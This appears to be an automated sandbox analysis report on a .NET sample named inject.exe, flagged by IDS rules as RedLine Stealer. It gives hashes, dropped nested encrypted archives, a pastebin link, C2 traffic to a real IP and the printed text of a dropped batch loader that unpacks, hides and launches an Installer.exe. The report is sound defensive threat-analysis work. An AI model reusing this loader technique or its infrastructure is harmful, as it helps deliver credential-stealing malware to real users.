Preview:	PK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r..I..iP.I.......V}.> ....r...Q..:....n.....N,.;..h..n.w..U.........c>.Bo.

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512387
Entropy (8bit):	7.998123873104573
Encrypted:	true
SSDEEP:	12288:H3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNV:XFy5fZdkDJv73bChNrTRV
MD5:	B7C74415382E8A9078A3A9467BD12517
SHA1:	69E51182E425ED6A13D0D021B0BAD8301A1792F5
SHA-256:	4BF6B02FE0358DC56339BBC0A26ABE7BE1ABED63B74EB975EC76C356952BDE5B
SHA-512:	3E3EDB65B5A2BB69B769922D71259ACA795DE6C84C64458FE4DEB4236BCAB6B7A9919955B72E34D720B4D84445CEF23B081FBE5A7688B6CDD25DE5200D96F361
Malicious:	false
Preview:	PK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r..I..iP.I.......V}.> .*...r...Q..:....

C:\Users\user\AppData\Local\Temp\main\extracted\file_8.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512541
Entropy (8bit):	7.998130338127172
Encrypted:	true
SSDEEP:	12288:g3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNM:2Fy5fZdkDJv73bChNrTRM
MD5:	C9C7BB282A5727DA7E9E1F4E9D8D3FBA
SHA1:	79B0AA3EEB4E3A998B357DAC97473948F68EF773
SHA-256:	BE879EFDEC472650B101D7BAFE4A1903A7CDDDB8A623A154921C230014D1A19E
SHA-512:	E96D16A720B7EE79FE0E059E00A26D833A7B2DB7F58B5220B5E0131A4A5DED923AD59B9BF500E46BAEFCCB8EE0F354CAF9F737CF0371F6AA47C92F3EABB63AA7
Malicious:	false
Preview:	PK........Rn.Y...............file_7.zipPK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r

C:\Users\user\AppData\Local\Temp\main\extracted\file_9.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512695
Entropy (8bit):	7.998132491458882
Encrypted:	true
SSDEEP:	12288:U3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNw:iFy5fZdkDJv73bChNrTRw
MD5:	3B90F281C49BDF17DA4ADF690E2A475D
SHA1:	86821013A23E5048882BF58711D0549695ACA67D
SHA-256:	864947AD239B5E7B903C862FADF82E296EE048D73B70F4FCA516770271F2A741
SHA-512:	6F92DB4B36DF182BFB576863A1DF1A8C3AF4929135226ABE5B6B3C59FE6F43E39E4563CCDD22F35D28277B8C826590079A1DEB68BE39F7609E7FDEFAA4209B9E
Malicious:	false
Preview:	PK........Rn.Ye.*............file_8.zipPK........Rn.Y...............file_7.zipPK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a.

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\conhost.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2180698
Entropy (8bit):	7.99990891733921
Encrypted:	true
SSDEEP:	49152:5RcsCieJLOveuKY6V5Rqgoq1cZvGcn2MyelH+5VTwQx6HtqVNP6ph:Pcs2JOmvR0qTClH+5VMNh
MD5:	AE5771940899F79E634B6E4475040467
SHA1:	225434A4900232053FBEFF5A60A08E53CFC1436A
SHA-256:	B9740CF94F4A77BB2D61EC79FF342E7C739BB35B2B61F32E9B5F2D09218C24FC
SHA-512:	2B50DA042539E81EA4B1B5DBDE62F3AEE6473DF550401DF2BC08505FC77A178994AB6608960251873B48089AE171E6365AE52408A493E71389B98D4796898134
Malicious:	false
Preview:	PK........Rn.Yh.2..E!..E!.....file_11.zip.aO.Y.......9m.X..v..&....j^..U.........9>..&....;.M.B.....>Ez...(..v..........X.<..._..f.o?..l...?../s .-...u.m.i.!%.E.@w...do/.W/..=.#.....Lde...QQN....Cu..w..P.d....Y..2z.I.f$DUo}WA.....h[....H4....b..`...k.#....fo..g..UA.....j..;......N.?...[..+.\|.Ob....W...iS3...6.......fJ.......[.u!.BW.OH..:9../_....O.!]...@....{V.....}.T.I.C"...X+_V.s.\|V..o....$;Cr...V....?.5b..g..x.C.a...k1..n..,2..6....}....Q....gq3U.X......].w..T.buX..!.?..Q......_`.....K..B.........b......U...bqA..F+....cf5....,.I.m......qu...#..%.k.....AH.K..:..zq.~.....h...L6.8L;...6..l....Vr.3.,....w(.mj..b...Kf...u...M..V..IV.-.....G+......h[I.Vs...U.5...c':..u..3S...'@.[...;.L...4f.].D.A..TB....P.'.l.X....o...n......l.+..8b.dN.Y...`.@.r.j.i)...K+:.Tr.:<W...L.@.}.......Y.A/.bf.N......-L...X....R.:.n.cq.........&..h\|.5.m..z.........y.d..>...Q#..p.7..6.C....Q.l...R..O.'!.,...'...\|Y~.`*$.D..kSD...kdl%x...T2Uo..<.......q}"......}Rzw..Y..u

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2180698
Entropy (8bit):	7.99990891733921
Encrypted:	true
SSDEEP:	49152:5RcsCieJLOveuKY6V5Rqgoq1cZvGcn2MyelH+5VTwQx6HtqVNP6ph:Pcs2JOmvR0qTClH+5VMNh
MD5:	AE5771940899F79E634B6E4475040467
SHA1:	225434A4900232053FBEFF5A60A08E53CFC1436A
SHA-256:	B9740CF94F4A77BB2D61EC79FF342E7C739BB35B2B61F32E9B5F2D09218C24FC
SHA-512:	2B50DA042539E81EA4B1B5DBDE62F3AEE6473DF550401DF2BC08505FC77A178994AB6608960251873B48089AE171E6365AE52408A493E71389B98D4796898134
Malicious:	false
Preview:	PK........Rn.Yh.2..E!..E!.....file_11.zip.aO.Y.......9m.X..v..&....j^..U.........9>..&....;.M.B.....>Ez...(..v..........X.<..._..f.o?..l...?../s .-...u.m.i.!%.E.@w...do/.W/..=.#.....Lde...QQN....Cu..w..P.d....Y..2z.I.f$DUo}WA.....h[....H4....b..`...k.#....fo..g..UA.....j..;......N.?...[..+.\|.Ob....W...iS3...6.......fJ.......[.u!.BW.OH..:9../_....O.!]...@....{V.....}.T.I.C"...X+_V.s.\|V..o....$;Cr...V....?.5b..g..x.C.a...k1..n..,2..6....}....Q....gq3U.X......].w..T.buX..!.?..Q......_`.....K..B.........b......U...bqA..F+....cf5....,.I.m......qu...#..%.k.....AH.K..:..zq.~.....h...L6.8L;...6..l....Vr.3.,....w(.mj..b...Kf...u...M..V..IV.-.....G+......h[I.Vs...U.5...c':..u..3S...'@.[...;.L...4f.].D.A..TB....P.'.l.X....o...n......l.+..8b.dN.Y...`.@.r.j.i)...K+:.Tr.:<W...L.@.}.......Y.A/.bf.N......-L...X....R.:.n.cq.........&..h\|.5.m..z.........y.d..>...Q#..p.7..6.C....Q.l...R..O.'!.,...'...\|Y~.`*$.D..kSD...kdl%x...T2Uo..<.......q}"......}Rzw..Y..u

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\conhost.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	476
Entropy (8bit):	5.09690163183538
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvvk7WYCVGrMLvmuCCgXjgrXgX78agXrrEOXUigXY:QUpNF16g632Ckevk7WYCVGYTtS0rXS7Y
MD5:	A6D611790D8AFE6E81448CDF6DDB9EA4
SHA1:	4E402E68FC7130433A7004CBCE3834A8743BCF4C
SHA-256:	0C7BE4C51CD64A8B6D2235EE0EEAB8C98C565ED9B74B50C0EBA02750C3B24B2F
SHA-512:	2FAA6DE4F3E2872FE2575F775C282E17FAFB5AD4C31EB1DE118081F80F28B33E0C1ACFEC0779B5911314BA50A5A5C1EC11491A393C272F3EAB943636A6BF4938
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p29586644319935208542739921766 -oextracted ..for /l %%i in (11,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "Installer.exe" ../..cd....rd /s /q extracted..attrib +H "Installer.exe"..start "" "Installer.exe"..cls..echo Launched 'Installer.exe'...pause..del /f /q "Installer.exe"..

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\logs.uce

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.11212271596743
Encrypted:	false
SSDEEP:	12:8G/y8vM/jwKdt//j/K3AEN6Qclfw/1127UwLnjDTwDMVFAi:8G/y8wj5djUNso/XUnLnjD0DMnAi
MD5:	ADE6854A8351E50758F93066F547C188
SHA1:	771278CB4FC00BDC54B95C2FE43C839F9D59FD6C
SHA-256:	FAA5DA36E19D42EA123A6765D50E6B27794DB08342850D1E36695332F8E47BC0
SHA-512:	3202F608789CAD4E8485B06344EACFE9AD48B197A4FAD94C9F15CAC07C7322BDB838F61F82955DA7C136952D61922E47E8CA4FB77CCBC7B47953D9943069C724
Malicious:	false
Preview:	[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->..<head>..<title>Suspected phishing site \| Cloudflare</title>..<meta charset="UTF-8" />..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />..<meta http-equiv="X-UA-Compatible" content="IE=Edge" />..<meta name="robots" content="noindex, nofollow" />..<meta name="viewport" content="width=device-width,initial-scale=1" />..<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />.. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->..cp..https://pastebin.com/raw/dq3hWX27..

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.046538254653124
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioB4Dc8NmVSTgqF1AivwtHgN6qFfpap1tNGpKoip:pMpDh5RwXlCfTgqFyYw7qJA1tNGkoC
MD5:	5155BABB04DC876A4871112BA3AC2716
SHA1:	F7A7E8D917F4B829610ED476A51BE9096CF66918
SHA-256:	DA8B2175AEE6D2B8300AF87F89FBD77114349B41852CFCA04446CE7BCA990CB2
SHA-512:	C1A54C1BFC5E493B18C138D964112EC95ACEA7BD9F20F2971F666F6B152DA723A4B999118381FEC8D42F31B6D5F4A0ABA9F684800E0ECA4079A1BD2391D6CD59
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 511531 bytes (500 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 511531.... 0%. .Everything is Ok....Size: 625464..Compressed: 511531..

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.986691365090859
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	inject.exe
File size:	321'536 bytes
MD5:	a1e894c08c924eec77ce07e2a8405b86
SHA1:	ff3f45d1773a07c2e92639ee7f0df24df4fbaf6f
SHA256:	527dbb0c86940e85a442e5eb558c9e2f8a20f257b1eb799ce32d6890c0fc48ad
SHA512:	25e472e5b83530871dae660d44b67a20f8defcedf872c9c376a396cd3e5b9dc10722f9500de06f0eef35f16df82c54d68a55b56f0e865dfea1b6aed86b7ed79d
SSDEEP:	6144:35SCOueHiXnEzBdbnSH34UC91eN9dnvR2E9Sw+/jF8CKG:pSCiHiXnEzvzd1eN3n52EEv7FRK
TLSH:	E8642353B7A84236D674A13EB1079FF30FC49E7164A22BD67A594A01B9E33314732F4A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J..f............................>.... ........@.. .......................@............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x44fd3e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F2D34A [Tue Sep 24 14:57:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4fce8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x50000	0x5c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x52000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x4fbb0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4dd44	0x4de00	616e73888960f3b6f7126622e35334fd	False	0.9924226274077047	data	7.994475414481835	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x50000	0x5c8	0x600	6edf142bbb087d6ac9c3d962ee707434	False	0.4361979166666667	data	4.113027716683536	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x52000	0xc	0x200	5e8783c5fb744f953e2dd557e731c328	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x500a0	0x338	data			0.44660194174757284
RT_MANIFEST	0x503d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T09:44:02.309242+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:02.309242+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:02.541531+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	185.215.113.22	80	192.168.2.5	49704	TCP
2024-09-29T09:44:07.926652+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:12.194080+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:15.827930+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49704	185.215.113.22	80	TCP
2024-09-29T09:44:16.498001+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49704	185.215.113.22	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 09:44:01.391658068 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:01.396800995 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:01.396912098 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:01.405046940 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:01.409903049 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:02.277618885 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:02.309242010 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:02.314229012 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:02.541531086 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:02.582720995 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:07.926651955 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:08.149446964 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.413638115 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.413753033 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.413819075 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:08.414014101 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414086103 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414127111 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414132118 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:08.414172888 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414223909 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:08.414417982 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414486885 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414526939 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:08.414531946 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:08.457714081 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.888732910 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.893811941 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.893874884 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.893899918 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.893918037 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.893924952 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.893975019 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.893984079 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894026041 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894038916 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894066095 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894078016 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894108057 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894115925 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894155025 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894187927 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894228935 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894238949 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894268990 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.894274950 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.894320965 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899183035 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899224997 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899236917 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899277925 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899290085 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899331093 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899343967 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899377108 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899391890 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899430037 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.899450064 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.899498940 CEST	49704	80	192.168.2.5	185.215.113.22
